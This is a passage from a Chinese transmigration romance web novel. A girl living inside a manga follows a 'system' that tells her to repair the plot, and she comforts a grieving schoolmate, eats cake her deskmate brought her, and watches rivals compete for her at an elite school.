她怕极了孤独冷清,透过病床看着阳光下长青棕榈, 羡慕极了那样的绿意生机。 总会想, 如果有那么一天……可以站在光下, 和友人一起奔跑。 她喜欢一切的鲜活。 思路跑偏少顷, 阮柚才意识到顾叙没有答话。 电话那头, 只剩下少年绵密平缓的呼吸,辨不清此刻的情绪。 “还在吗?” 阮柚扫了眼电话显示页,试探了一声。 对面低低嗯了声。 知道了三个字说完后, 又忽然来了句对不起。 阮柚屈指摸了下鼻尖, 门口的仿古坠灯扫下昏黄, 杏眼迷蒙潋滟水光。 她不明所以。 为什么要说对不起。 顾叙重新站起身,手肘支着窗台,扫过楼下花园的一草一木。 细雨缓缓坠落, 他伸手去触,嗓音克制,“今天突然打扰到你。” 阮柚弯唇:“这没什么。” 而且,还让她免费欣赏了一首钢琴曲。万幸,对方没有让她这个业余人士仔细点评的意思。 “你刚才弹得真的很好听。” 最后,她还是把积攒的夸奖又说了遍。 “阮柚,快考试了,要好好复习,知道吗?” 听见顾叙这句话,阮柚往袖子缩了缩手,诡异有些心虚,应声地含糊。 因为她知道,这次自己是不会考好的。 挂断电话后,顾叙看着处理伤口的家庭医生,眉眼平和如初。 “剩下的我来吧。” 家庭医生摇头,继续手上包扎动作,“这点小事,怎么能麻烦少爷呢。” 顾叙没再说话,深灰眼眸沉沉望着那架钢琴。 “换了吧。” 少年坐在沙发处,手指一转,平静着示意。 平淡如水的语气,就仿佛扔掉的是无用垃圾,而不是他最常用又钟爱的定制钢琴。 管家欲言又止,最后也只好恭敬点头。 “我现在就安排。” 顾叙牵唇一笑,眼底渐渐覆上温度,却没有再开口说话。 门虚虚合好后,偌大房间恢复至初时的冷清。 他想起刚才种种,不由得失声一笑。 失控只在一念之间,却宛若雪融瀑布,越发不可收拾。 可他知道不能。 因为这场无声角逐,猎者都在伪装蛰伏,谁先失控谁就输。 / 结束对话后,几人回了家。 阮时刚刚出院,身体尚未完全痊愈,从阮母三两句的话来看,是在反复央求下这才出了门。 没想到会遇见这些波折。 她后怕似摸了摸小阮时苍白熟睡的脸颊,正欲轻手轻脚时,看见他小拳头紧握着什么,呵护似珍宝。 阮柚站在一边,顺着目光一看,瞥见那指缝垂下银色小铃铛。 这么喜欢吗? 走出房门后,阮母温柔一笑,“这是你以前送给他的生日礼物。” 阮柚眼睛眨了眨,怕露出什么陷,很快哦了声。 想不起来,应该是原身送的吧。 “有一次不小心丢了,他哭的不行,怕你因为这个不理他,最后终于在园子找到,脸弄脏兮兮像只花猫。” 花猫这个形容很形象,阮柚安静翘了翘唇,顿了下,“是么。” 记忆恍惚钻入脑海,一望无际的原野,小男孩握着铃铛摇来摇去,开心都写在了脸上。 尔后,有她的声音响起,从矮树一跃而下,咬字冷漠,“我只是弄些零花钱罢了,你这么开心做什么。” 至此,记忆颜色沉寂成灰白。 阮柚舔了舔发干的唇瓣,站在那里,莫名几分不自在。 得,又是原身之前做过的事。 头顶的长条灯管泛着清白光亮,跃在袅袅腾雾的热茶上,多了些市井温情。 阮柚接过阮母递来的热茶,垂睫抿了抿唇角。 温度缓缓化开,透过掌心纹理,渗入流动的脉络,很快驱散冰凉。 对方,怎么知道她有些渴了。 两人的谈话因着一个电话戛然。 她抿了两口热茶,凑身朝桌面上的手机屏幕瞧去。 成玉 一时茫然。 今天是什么日子吗?怎么都在给自己打电话。 而与此同时,她后知后觉到几分不对的意味。 微微侧过脑袋,木质方桌那边,阮母唇角柔和依旧,眼里却闪烁起不一样的情绪。 像是有话想对自己说的样子。 阮柚很快拿起,“我的朋友。” 阮母朝她点头,“嗯,你们先聊。” 说罢,端起多余的茶具,往小厨房走去。 阮柚呼了口气,低下头,没再多想。 接听电话后,少年缓缓念起她名字,信号断续模糊,似有疾风呼啸而过,杂乱无章—— 阮柚蹙了下眉头,“成玉?有什么事么。” 他这是在哪呢。 对面迟迟嗯了声,她感知到,那边风声安静了许多。 少年呼吸微重,顿了两秒,嗓音缀起疲惫沙哑,隐隐约约。 “我好想你。” 阮柚呼吸一凝,摩挲茶杯的手指放下。 不期然间,漫画一段剧情缓而详细在脑海铺陈展开。 熟悉的声音缓缓传来。 【经历母亲车祸的成玉从医院失意离开,傲慢反骨被冷雨淋湿弯折,而此时此刻,心中的脆弱混沌唯有她才能填补。 ……她宛若阳光一样出现,于黑暗处,拉住了踽踽独行的少年。】 阮柚听着系统努力声情并茂、却又难免机械的演讲声,眉心不由得一跳。 这熟悉的CP古早救赎味…… 等等—— 母亲车祸? 阮柚很快想起了广告牌一闪而过的古典眉眼。 她下意识念了遍成玉的名字。 却抿着唇,没再多说什么。 毕竟,手握剧本的人可不是她。 而最后的四个字和这通电话一样,出现的直白突兀。 理清思绪后,阮柚终于心定了定,语气如常,“成玉,你现在在哪呢?” 对方静了两秒,仰起下巴,含混地笑了声,"我不知道。" 听着少年认真又迷茫的口吻,阮柚眼睛眨了眨。 不、不知道? 而恰逢此时,系统又一次跳了出来。 【检测到任务对象状态不佳,请宿主及时辅助完成剧情。】 阮柚闻言,头脑嗡嗡直响。 她当然感觉到成玉状态不对,但至今也没能完整想出对策。 对方的一句“不知道”,直接堵上一道无形的墙。 正沉默着,对方倏然念了声学姐,很轻,口吻似曾相识。 不久后,阮柚知道了他的所在地。 莫名断了电话后,她并未着急重拨,而是快速打给宁糖。 “喂,阮柚。” 电话那头,宁糖语气轻快。 头发细小水珠滴在屏幕,她拨起悬落的毛巾,指腹一抹。 阮柚思忖半秒,问,“你现在……在什么地方?” 按照剧情推演,这个时候对方应该是在邂逅成玉的路上。 可是—— 对面响起轻折纸页的声音。 “我刚洗完头,正打算看会儿书呢。” 说罢,她提及了不久后要进行的那场考试,不忘叮嘱。 阮柚蹙了蹙眉头,嗯了两声,飞速思量该如何把寝室复习功课的女主隔空纠去安慰成玉。 她摸了摸脑袋。 刚想说话,对方忽然挂断电话,声音明显低了下来,“我舍友回来了,先不说了,明天再聊。” 全程变化不过五秒。 原漫里,女主和舍友关系一般,加上性子温软,总是逆来顺受规定的奇葩规则。 例如,有她在的宿舍,不能发出任何声响。 直到后来,温暖细腻感化了对方…… 不再继续想。 再拨回去后,显示对方已经关机。 阮柚黑线:…… 她低头倒了杯热茶,茶味微涩,在舌尖绵密打旋。 系统宛若幽灵般,一次次冒了出来。 成玉南,成玉北,上上下下,飞速飘来飘去。 它强调:宿主,按照剧情,不能让现在的成玉在这个晚上自生自灭。 阮柚倒在椅子上,仰着脑袋,一瞬想起刚才成玉的话。 “可是宁糖电话打不通啊。” 说着话,又不死心发了条消息。 后面直接报了通地址。 石沉大海,连带着心坠落。 她盯着手机,不期间,弹出了一则新闻播报。 连环车祸、成氏女主人、著名学者、生死未卜、以及豪门恩怨。 一个个标红字眼,冲撞在眼前。 印象里,成玉提及她母亲,态度漫不经心。 而现在看,似乎完全不是。 系统仍在在脑海刷屏。 阮柚蜷了下手指,最后站起身。 迎着阮母疑惑关心的目光,她平静道,“学校临时有事,我先回去了。” 出了门,阮柚撑起伞,打开手机手电筒,走在昏暗潮湿的青石路上。 现在还在加班赶任务,她真的很敬业TvT 系统:宿主大人,你要去哪里? 阮柚提了提围巾,不假思索,“去学校找宁糖。” 系统:“来不及了,建议直接找成玉。” 阮柚眼睛茫然一眨,诡异沉默。 还……还能这样? / 最后,阮柚是在一个巷口找到成玉的。 巷子不深,路边灯光照起大半。 少年微曲起一只腿,靠在昏暗的小角落,阖着眼睑,侧脸轮廓半明半暗。 细雨缠丝坠落,无声无息浸在他的薄衫,却像是感觉不到半点冷。 阮柚停在墙壁看,微微一怔。 这样的成玉,还是第一次见。 张扬气势尽数敛尽后,像只失落的小狗,找不到方向。 似有感应似地,他冷冷抬起眼皮,沾湿的黑睫微颤,往她的方向看了过来。 眼眸漆黑不见底。 竭力压低声音的阮柚呼吸一错,一时间,像被忽然烫了下。 尔后,她见他笑了下,桃花眼熠熠生辉,流转着她看不懂的情绪。 “学姐,你来找我了。” 阮柚咬了一下唇,犹豫着彻底走了出来。 “你还好吗?” 她不擅长安慰人。 不知是缺乏一定的共情,还是单纯不会表达。 所以从来的时候就知道,她不会是带他走出黑暗的人。 可低头等回答时,少年支臂站起了身,冷白脸颊滑下水珠,步步走进了她。 阮柚下意识撑好了伞,抬高,看见他停在伞外,敛着眸,氤氲一身寒气。 “我没想到,你会来。” 阮柚仰起头,喉咙微微发紧。 沉默时,本能中觉察到空气压抑的暗潮。 怎么感觉,对方状态更不对了呢? 她小声斟酌,“我其实没打算来,我只是……” 他笑了声,嗓音沉哑,“可是你还是来了。” 阮柚眼睛眨了眨,一时不知道该说些什么。 算了,带他离开这里再说。 意料之外,对方极为配合,一米八加大高个,像影子似跟在她身后。 只是给他撑伞,他摇了下头,拒绝地干脆利落。 “已经淋湿了,没必要。” 阮柚最后没再坚持。 兜兜转转,又回到了那条熟悉的小吃街。 冷风夹着小雨,来往人少了许多,衬得街巷有些寥落。 她抿了抿唇,回头看着成玉。 他也在看着自己,眼眸漆黑安静,若有所思。 条件反射,阮柚以为对方吃不惯这些。 却在下一秒,听到成玉说,“就那家吧。” 招牌盖浇饭。 有眼光。 店里没几个人,安静地略显空旷。 成玉支着下巴,一动不动望着阮柚。 灯光彻底敞亮时,少年拨开湿漉额发,面容多了分张扬俊美。 不再那么苍白。 又仿佛这个世界,只有她。 老板端饭时,忍不住多看了两眼。 虽然看上去年纪不大,但怪般配的。 阮柚抽了几张纸给他。 问着系统,什么时候才算完成任务。 系统说了三个字,再等等。 阮柚垂睫,注意到对方的银色尾戒。 刻着他名字的缩写。 “我母亲出了意外,昏迷不醒。” 阮柚嗯了声,耐心倾听。 “他甩了我一巴掌,让我滚。” 成玉抬起下巴,嘲弄一笑,“我揭穿他的伪善。都说他深情,可我知道是假的。” 他托起下巴,眼尾轻弯,笑得有些恶劣。 “他们一起长大,别人口中传颂的金玉良缘,不分彼此。但后来,他还是背叛了她。” “她凭什么要相信他。” 阮柚不知何时,背挺得很直。 对方想到什么就说什么,态度漫不经心,眼底却浮着漠然。 很快,提示音倏然响起。 【恭喜宿主完整收集剧情人物之一,季安玉相关背景,剧情完整度增加。】 后面是系统的奖励。 阮柚一顿。 飞速掠过剧情碎片。 背叛后,男人后知后觉明白心意,却再得不到女人回眸。 痛苦之下,他利用家世和手段,谋算出那场轰轰烈烈的盛世联姻,而在无人知晓时,青梅竹马终成一纸谎言。 所以之前,成玉才会对他说那句话么? 她低抿了下唇,心口有些闷。 成玉倏然一转:“如果我遇见心动的人,不会让她受任何委屈。” “我会要她,成为最幸运的人。” 少年动了动唇,睫毛微垂着,嗓音微磁。 旁人听来,转折的突兀,多了些张扬孩子气。 最幸运的人? 的确,这部漫画……本来就是一本小甜漫。 阮柚弯了下唇角。 而他转望向她,揪住了她的表情变化。 她下意识压下,点了点头。 表示赞同。 “会遇见的。” 而成玉失声笑了下,脸颊浮上温色,漆黑眼底融起纵容。 他早就遇见了。 / 新一天,阮柚照常去上课。 路上,果不其然听见了很多相关议论。 “现在这个情况,你说他会不会失去继承权?” “不可能,反而他才是最名正言顺的人。” “比起这个,我觉得他根本不稀罕吧。” 阮柚面无表情,背着书包全然掠过。 直到,到了教室,看见前排女生交相议论,神色各异。 “那个神秘女生到底是谁,有谁能告诉我!” "我要是知道就好了,那么黑,根本看不清脸。" 而旁边,有女生指着手机照片,仰天嘀咕,“成玉,你要听我的话,上课好好睡觉,不要分精力给任何女生。” 阮柚:…… 踮脚凑近去看,一个加红标粗的大字标题出现在眼帘。 【惊!成家少爷圣煜夜会神秘女生,举止亲密,引人深思。……据悉】 附上照片略显昏黑,但身为当事人之一,她很快认出,正是两人在学校门口辞别时的抓拍。 那时他低着头,将那把伞递给她。 所以,神秘女生,竟是她自己? 眼前一黑。 “到底是谁呢!”那边凑近手机,眯着眼,严肃似侦探。 趁无人注意,阮柚很快转过身,灰溜溜回到自己的座位。 那张照片很暗,而且她的样子全然被他的动作遮挡,不会有人会发现的。 最重要的是,根本和事实相悖, 她趴在桌上,安慰地想。 而正当她稍稍定心时,同学从教室前门探出脑袋,喊了她的名字。 “阮柚,有人找你。” 阮柚心头一紧,很快挺直坐好,应了两声。 小跑出去,是宁糖。 她握着手机,神色犹豫,“不好意思,后来我关机了,没有接到你的电话和消息。” 原来是这件事。 阮柚无所谓摇了下头,“其实没什么事。” 那件事,都过去了。 只是不知道,这次以后,剧情什么时候能再次回归正轨。 宁糖认真点点头,“你后来让我去B区时口街,是有什么话想对我说吗?” 阮柚闻言一怔。 想起最后给她报的那则地址。 糟了,现在该怎么圆呢。 阮柚张了张嘴,“当时,我发错了。” 宁糖明白了,轻声,“原来不是找我……” “阮柚,怎么不回教室。” 身后的男声出现的偶然。 顾叙缓缓走了过来,眉眼了然,礼貌地点头回应。 阮柚又见他看自己,刚好也有了结束谈话的借口。 几乎都知道的一个道理,人每每讲出一个谎言,总要在后来,用许多的谎言去装点弥补,即使摇摇欲坠,经不得推敲。 所以还是早点抽身离开的好。 宁糖抿起唇角,点了点头。 顾叙对她笑了下,“走吧。” 阮柚回到位置,收拾好书本,莫名想起即将进行的那场考试。 印象里,那次顾叙考的很好。 但如今多了她这个变数。 这般思忖着,阮柚倏然注意到什么。 等等—— “你受伤了吗?” 阮柚微微侧身,对方的手被做了简单的包扎,斜斜缠过掌心和手背。 顾叙一顿,声音平静,“嗯,一点皮外伤。” 阮柚没有动弹,欲言又止。 对方云淡风轻,将话题一笔带过。 可是,她禁不住想起,对方即将要进行的钢琴巡演。 如果手部受伤,极易影响他真正的发挥。 “放心。”顾叙似感受到什么,动作停了,笑了笑,“真的很浅。” “所以,你是在关心我吗?” 少年眉眼含笑,将话题一转。 阳光施施扫了下来,深灰瞳孔透着猫样的慵懒沉静,让人忍不住信服。 阮柚像被羽毛蹭了下,睫毛微微一抖。 怪异闪过只一瞬,她触了下鼻尖,迟迟应了声。 “唔,算是吧?” 尔后,她又道,“同桌之间,关心不是约定俗成的事情嘛。” 顾叙笑意一顿,“是吗。” 阮柚点了点脑袋,转过身坐正,忽地听见他问,“我们会一直坐同桌,对吗?” 少年嗓音很轻,消弭在路过的打闹声中。 阮柚远眺窗沿,光扫在瓷白上,折出过度的刺眼。 她微微眯起眼睛,假装没有听见。 因为她心里知道答案。 又在本能地确认,那个答案并非是他想听见的。 想起下午即将开始的学业测试,为了将自己这个变数影响降到最低,她立志在最近相处中,临时抱起佛脚。 那就是,在他身边,无时无刻不保持安静。 一口气,十分敬业地坚持了两节课。 下节课是艺术选修,中间留着长长课间。 周围学生均在复习,对待他们而言,成绩虽无关阶级提升,但也好似一个抢手标签,象征着优秀,精英。 没有拒绝它的理由。 阮柚看着顾叙推过来的笔记本,上面用蓝色笔迹圈点出课业重点。 完整而详细。 她一愣,忍不住道,“给我看的吗?” “嗯,你可以用它来辅助复习。” 听到复习两字,她有些不自在。 “你不需要吗?” 少年笑着摇摇头。 阮柚于是不再多言,矜持地点点下巴。 “谢了。” 然后继续安静。 余光里,顾叙目光停留了会儿,又安静离开。 阮柚低头扫了眼笔记,愈发觉得它珍贵而沉重。 的确都是分类的重点。 不该给她的。 艺术选修课她没有选,所以留在班里自由复习。 班里零零星星几个人,在后排百无聊赖做起占卜,探讨着接下来的考试运。 “假的,我不信,再试一遍。” “就得是好的才信呗。” “没错。” “……” 打完热水回来,阮柚停在门口,冷不丁看见一位意想不到的人。 ……顾叙? 他刚刚不是去上课了吗。 心间疑惑着,阮柚慢吞走到自己座位上。 他抬头一笑,“你回来了。” 阮柚微微点头,在他旁边落座。 看着他笔下的试题,本能咽下那些疑惑。 她拧开保温杯,挥手散了撒升腾的热气。 尔后,感受到身边少年的动作。 忍不住瞥去视线,不期然间,正对上他桌上精致诱人的蛋糕盒子。 他微微倾身,骨节分明的手一握一抬,像百宝箱一般,纷纷变出好多式样的零食甜点。 她匆匆略开,抿紧了唇。 可恶。 偏巧在她肚子空无一物时出现! 一侧胳膊被人蹭了下。 三秒后,她僵硬转过脑袋,抬起眸,神色如常问,“怎么了?” 顾叙:“有你想吃的么?” 阮柚冷静看了他三秒,坚定摇头,“没有。” 说罢,一阵心虚。幸亏这个时候,肚子没有不争气的乱叫。 “你快复习吧。” 她用尽所有意志力,飞速略开这个话题。 “好吧,都是给你准备的,既然这样。” 顾叙温柔失了声笑,伸出手收回动作。 “嗯,这样不……” 下意识顺着动作望去,阮柚目光一滞,尔后跟随了两秒。 救!! 那是她最喜欢的黑森林巧克力千层 阳光下,色泽饱满诱人。 连带着少年并拢的手指,都像是在发光。 阮柚一停,忽然道,“这样不好吧?” 一分钟后,她捏着小黑勺,挖起蛋糕放进嘴里。 甜而不腻,满足填补的很快,但在渐渐意识过来后,又开始有些后悔。 坚持快一上午的原则,怎么能因为一块蛋糕而破防呢? ……一定是因为早晨没有来得及吃饭! 既然这样,吃完蛋糕再坚持好了 她说服自己。 系统:不愧是你。 而顾叙自然不知面前少女的心思变化。 只知道,她低头吃蛋糕时,腮帮不时轻动,可爱又纯然。 想一直看。 而这时,阮柚听见门口处,有人喊她名字。 嗓音越发熟悉,她眉心一跳,放下挖蛋糕的勺子,看了过去。 不知何时,教室彻底静了下来,几人纷纷看向忽然出现的男生。 江净理走了进来,“阮柚,我有事找你。” 什么事? 怔然只是一瞬间。 她刚想问什么事,身边,纸巾蹭了两下唇角处,力道极轻,却行云流水。 顾叙收回纸巾,一笑:“沾到了。” 第35章 第三十五章 一更 阮柚睫毛微闪, 陌生触感依稀留存,她后知后觉一触,道了声谢。 想到可能顶着这样说话, 几分不自在一闪而过。 “不客气。” 顾叙笑意不变,“喜欢就好。” “我每天都可以给你带。” 这句话语气寻常,但殊不知, 落在他人耳里, 无形掺着若有若无的宠溺。 后排几人余光飞扫,心脏微微跳跃着, 一个念头凝结心头。 不对劲,真的不对劲。 一时间,谁也没有多余动静。 四周静的出奇。 没来及回话,眼前视野微微一暗, 来人停下,身影恰好挡住透来的阳光。 靠得近了, 渐渐存留起对方的气息, 冷的清冽, 如松木白雪, 极淡, 寸寸攀附鼻息。 注意被吸引。 阮柚抬起头,想起江净理的话,安静等待回答。 看这样子, 猜着应该是重要的事。 “真的很喜欢么?” 江净理眼眸微垂, 修长手指搭在她的桌前, 倏然问出声。 和预想回答截然不同,愣了两秒后,阮柚才反应过来对方在问什么 她低头望去, 桌边小蛋糕吃了过半,勺子随意搭在上面,沾着些奶油。 阮柚点了点头:“……嗯,挺好吃的。” 江净理低下眸,微微颔首,“嗯,我记住了。” 记住了? “记住……什么? 思路被一瞬带偏,阮柚眼睛眨了眨,脸上露出茫然。 江净理:“你的喜好。” 顿了下,略略扫向顾叙,牵了下唇角,“顾叙,你是个很称职的同桌。” 轻描淡写的夸奖,却在不留痕间,将关系漠然地钉死。 似在提醒着他,即便做了再多事,也不过是以同桌之名,边界分明。 顾叙眉心一皱,又散开,情绪变化微不可察。 江净理静静看着他,眼睑微垂,把玩起阮柚的圆珠笔。 阮柚盯着他的手看,欲言又止。 ……记住她的喜好干什么? 她要做个让人捉摸不透的人。 身边,顾叙喉结微滚,不在意一笑,“我觉得,只是她值得。” 微风轻动窗帘,阳光柔静而细碎,忽明忽暗着少年干净轮廓。 江净理默了下,不见意外,漆黑只剩冷淡。 伪装不下去了么 最后,他话一折,“浪费时间不是什么好习惯。” 顾叙敛眸,睫毛压落阴影,“究竟是不是,都还不一定。” 对话到此又停了下来。 阮柚屈指摸了下鼻尖,在一阵沉默里,视线来来回回打转。 两人的对话,信息量出现的突兀不连贯,像极了在打哑谜。 但现如今,也不是纠结这些的时候。 循着空隙,她很快问,“江净理,到底是什么事呀?” 江净理看向她,道:“那张报名表。” 阮柚心头一紧,微微端正,认真了大半。 这和后期剧情有着千丝万缕的关联,对她而言,不能出半点差错。 她于是问,“怎么了。” “安排有变,最新定在了这周的周末。” 原来是这样啊。 阮柚神情放缓,紧张情绪去了大半,下意识想要应声。 而不经意间,余光有动作穿扫,顾叙拿起试卷夹,安静将解完的卷子归类。 扫过他手上裹起的绷带后,她空空动了下唇,没有将话说出来。 等一下—— 如果没记错的话,这周末,不是顾叙钢琴巡演的那天么? “怎么了。” 见迟迟没答,江净理才问起,嗓音低而淡,极具耐心。 几个同学互换眼神,均在讶异这个观察的发现。 无人不晓,江净理是疏离性子,几乎不会说些多余的话。 因着这般,圣煜许多人,将他视为遥不可及的存在。 而现在就好像,少年视线描摹着眼前少女,好似纯白世界唯一色彩。 他们见到了什么叫真正独一份的特别。 阮柚抿起了唇,有些为难道,“我那天还有别的安排。” 说罢,忍不住看了顾叙一眼。 顾叙似有所觉,很快笑了下,“我没关系的,遵从你内心的想法。” 话说得淡然温柔,情绪没有丝毫不满。 阮柚坐在椅子上,揪了揪袖子,一时没有开口。 想了想纠结原因,抛开因约定衍生的某种契约精神,其他的,无外乎只剩一种—— 那就是两段要修复的剧情,非常不凑巧又猝不及防地撞在了一起。 心情些微复杂。 可两个剧情,手心手背都是肉呀! 刚想趁机敲敲系统,这时,江净理面色未改,顿了下,“既然这样,就把下午留给我吧。” 他先一步做了妥协。 少年低眸,淡笑了下,轻道,\"他不该那么贪心,对吗?" 听见江净理的话,阮柚眼皮跳了下。 ……但仔细想想,也确实是个好主意。 而身后,几人瞪大眼睛。 是他们想的那样!? / 下午考试如期举行。 阮柚托着下巴,百无聊赖盯着黑板上的钟表。 滴答滴答,反复而缓慢的转动。 最终在倒计时归零后,如约响起考试结束的的铃声。 阮柚倚在座椅后,微微仰起下巴,朝天花板叹了口气。 终于结束了。 收拾考试用具后,她听见有人喊她的名字。 清朗干净,即使在嘈杂一片的教室,也依旧足够明晰听见。 阮柚脚步一停。 回头,孙一樾站在侧方面,露出一口白牙,“阮柚,你这次一定能考好!” 阮柚动作一顿,却听不出对方的安慰。 反而比起她本人,眼底的自信和笃定如有实质。 “谢谢,你也是。”话说完,她莫名觉得好笑,“为什么会这么觉得?” 他脱口而出:"刚才,我看你试卷都填的满满的!" 阮柚一愣,眼睛眨了眨。 唔,误会有点大了。 见她没说话,孙一樾连忙摆了摆手,“别,别误会。我没有偷看你,考完试我一抬头,你就坐在那里。” 两人恰好分到一个考场。 阮柚微微颔首,想起为完整符合人设剧情,而在卷子一通乱写的事。 对着对方明亮的眼眸,她莫名有些心虚。 以及后知后觉,手腕开始泛酸。 她背好书包,左手勾着肩带,“我没有那么想。” 而刚想再说些什么,忽然有人轻轻拉住了她。 覆盖肌肤处,隐约触及薄薄的凉汗。 阮柚错愕,本能想甩开,却在看清来人后动作一僵。 斜前方,宁糖抿起唇,苍白的脸上闪着犹豫。 两人在这次考试被分成同一个考场,相隔两条过道。 在原本的剧情里,本该默契维持着疏离距离。 但是,似乎又出现了状况。 停了两秒后,宁糖放下手。 身边,孙一樾觉察皱起眉,“同学,你没事吧。” 宁糖还是摇了摇头,低着声,“没什么事,我有话想要对阮柚说。” 阮柚杏眸平静,礼貌和他告别后,双手插在兜里,信步走出教室。 身后,宁糖亦步亦趋,却默契没有开口。 阮柚开始想系统之前发布的剧情。 按照漫画剧情,宁糖生理期到访,强忍钝痛坚持考完全场,却失措发现,自己忘记带卫生巾。但在圣煜里,几乎无人是她的朋友。……后来顾叙偶遇借她外套,又被谣言是为引起注意,刻意为之。 一切设定的打压委屈,都结束在不久后那场钢琴巡演。 少女借此彻底大放异彩,凭借出众才华,赢得许多人的尊重关注。 这是漫画人物必经的剧情。 走廊里,阮柚听见她的话,摇了摇头。 学生人来人往,偶尔有人不经意看过来。 宁糖眼底光亮渐暗,尔后眨眼一笑,“好,我知道了。” 阮柚轻微点了点头,没有过多言语。 原本漫画并没有这场对话,她不知道该作何反应。 更何况,她确实没有带。 心软只在一瞬间 她朝反方向离开,步调安静平稳。 而忽然间,肩膀却被人从后面一撞,毫无防备迎上变故。 余光里,一道身影飞快闪过,浅扫来的风撩起碎发,似有人在追逐着打闹。 出于陡然冲撞而来的力道,阮柚往前踉跄了几步,手指虚虚搭在护栏,这才稳住身形。 尚未从茫然走出来,左肩泛起阵阵的疼,阮柚望着熟悉的地面,尔后抬起头来。 “阮柚,你还好么?” 孙一樾从教室小跑过来,低头看她,声音紧张关切。 他对着那个罪魁祸首道,“那位同学,撞到人怎么连句道歉都不说?” “…嗯。” 阮柚揉起闷痛的肩膀,望向那边停下脚步的两人。迟迟没等到一句道歉,隐约生出几分不悦。 即使假设对方是无心的。 撞他的是一位男生,头发染的花绿打眼,满身logo堆起的混不吝气势。 本和女生玩着打闹游戏,听见孙一樾的话,转头冷冷呛声,“关我什么事,别多管闲事!” 女生步伐停下来,忍不住维护,“他不是故意的,不要一上来就道德绑架。” 孙一樾皱眉,感受到对方极无所谓的态度:“怎么不关你的事?” 长这么大,他还是第一次见这么不讲理的人! 更何况,这哪里算是道德绑架? 身后,阮柚冷静出声,“给我道歉。” 她一字一句,眉眼明净执拗,等着对方的反应。 不知何时,周边停了不少的人。 偶有议论声,却没有人站出来调解。几人都认出了那个男生,年级有名爱打架的混混。 男生一愣神,动了动唇,还是没有出声。 最后只是冷哼一声,视线仓促掠过,烦躁推了把围观人群,“看什么看,滚。” 一副要离开的架势。 而那头,兄弟拍了下成玉,沉默着话语,示意他往那个方向看。 心心念念找的人,不就在那里吗? 只是—— 那头,小范围停留的人群渐渐让开一道路,男生冷着脸转身以后,少顷出现一道熟悉的身影。 她抬着眸,莹白下巴微绷,沉静站在那里。 冷风斜斜逆过衣角,少女眼底潋滟,像簇起亮光,是他从未见过的神情。 少年唇角笑意淡下,分明指骨微微张拢,漆黑眼眸沉上冷意。 第36章 第三十六章 能不能一直就这样 场面一时混乱。 男生脊背猛撞在墙壁, 下意识一声闷哼。 少年冷啧了声,“找死啊。” 阮柚闻声识人,话卡在嗓子眼。 是成玉。 斜对面, 他提攥着男生衣领,黑发略略垂下,笼下的阴影模糊神情。唯一确定的, 是他周身的戾气, 不带分毫温度。 见此情形,周围一时大气都不敢出。圣煜都知道, 成玉是最不能招惹的人之一。先前有人匿名在论坛议论他的家事,结果不到一天就被找了出来,在圣煜查无此人。 男生动了动脖颈,挣扎显得微不足道, 待看清脸后,忍不住嘶了口冷气。 “成玉, 你怎么……”茫然很快被惊愕取代。 “欺负她?谁给你的胆子。” 成玉居高临下看过来, 带着冰冷的审视。 他怎么敢的? 男生张口, 道歉来的很快:“……对不起。” 感受到领口渐渐收紧的力道, 他攥了把手心的汗, 虚虚稳住了步伐,哪还有之前的嚣张气焰。 甩开身边人想搀扶的动作,他粗喘了几口气, 急匆匆望向阮柚, “对不起。” 他不是傻子, 当然看出来成玉对她的在意… 喉咙发紧,声却更大了些。 一道道视线尽数扫在她面前,阮柚不紧不慢走了过去, 目光平静,“错在哪里了?” 男生一愣,没想到有这一出。 他低头,对上她淡漠的明眸,愣了愣。 同时,他感受身边的威压,开始一字一字冒。 成玉侧开半边身子睨他,“好好想。” 幽幽一句话,让他差点咬到舌头。 话堆多了,到最后竟开始细数自己的缺点。 成玉朋友见他那怂样,忍不住乐了。 但不得不说,最了解自己的人,浑然还是自己啊。 画风忽然诡异了起来。 阮柚挑了挑眉。 少女身姿纤细,一只手勾在书包带上,露出玉白细腻的手腕。此刻漫不经心抬着眸,听着对面人低头认着错,对方越说越多,她仍面不改色,眼睛都不眨一下。 认认真真的模样,莫名让人想到班主任训着不听话的学生。 成玉看着阮柚,微微有些失神。 朋友见他这样,抵唇清嗓。 别看啦!你不是好不容易找到机会可以聊天了吗! 听见声音,成玉垂了垂眸,意识到自己的失态,忍不住狠狠瞪了男生一眼。 “滚,以后别来招惹她。” 少年烦躁写在脸上,等人走后,又很快换了个表情,唇角含笑,轻声细语念阮柚名字。 “阮柚。” 阮柚扭头看他。 成玉:“我今天来是想告诉你一件事。” 周围人对着变脸看呆了,忽地觉得脑袋有点发亮! 一时人散了大半。 孙一樾抿了抿唇,告诉阮柚自己先走一步。他胸口有些发涨,想起刚才替她当众解围的成玉,忍不住想:如果是他该多好。 明明是他站在她的身边,维护的人却不是他。如果他也像成玉不顾一切就好了… 空落落地想着,身后,阮柚叫住了她。 少女声音清甜干净,如玉击石,瞬间冲淡了所有不美好。 “刚才也要谢谢你。” 阮柚弯了弯眼,继续,“再见。” “再见,下次见!” 人跑远后,阮柚扫了眼那人的背影,摸了摸鼻尖。 这是她疑惑时习惯性动作。 总觉得刚才他好开心。 为什么? 思绪很快散了,因为成玉忽地晃了过来。 完整挡住了她的视线。 她定了定神,知道了成玉这次来的原因。 原来是那张照片的事,他已经处理好了。 阮柚又说了句谢谢。 “以后再有人欺负你,你一定要和我说。” “和你说?” 她低头拉了拉卡住的书包拉链。 “对。” “为什么啊。” 唔,现在终于能拉上了。 阮柚低着头分了神,声音淡淡的,没有注意到成玉别扭却认真的神情。 “因为…”少年难得规矩地站着,喉咙有些发干,痒痒的,“因为—” 甘愿为做电灯泡·照亮兄弟的成玉朋友,也就是李何,在两米远的距离挤眉弄眼,干着急,就这样,说啊!你可以的! 阮柚注意到他的停顿。 四目交接。 周遭空气仿佛都稀薄了下来。 成玉松了松唇,“因为,我想罩着你。” 急到跳脚的李元陡然泄气:……哪里来的木头。 系统:……啧。 阮柚疑惑一闪而过,更多觉得好玩儿。 哦豁。 成玉这个小霸王要罩是罩着她,收了她当小弟,那她以后在圣煜岂不是可以横着走啦? 但也只是想想。 身为一名女配,阮柚非常有自知之明地否认了。 她认真脸,“我是学姐,怎么能让你罩呢?” 而且——阮柚握了握小拳头。 这具身体这么健康有能量,必要的时候,一拳梆梆打两人应该没问题吧? 她想的认真,可落在成玉耳里,那翘起的尾音像猫爪,在他的心底挠了一下。 耳根有点发红。 他摸了摸发凉的尾戒,很快又低下头。 “那这么说,” 成玉想到了什么,眼眸发亮询问,“你是我学姐,可以罩着我吗?” 阮柚一怔,对视才确定没有听错。!! “可以吗?” 成玉又问了遍,笑嘻嘻露出白牙。 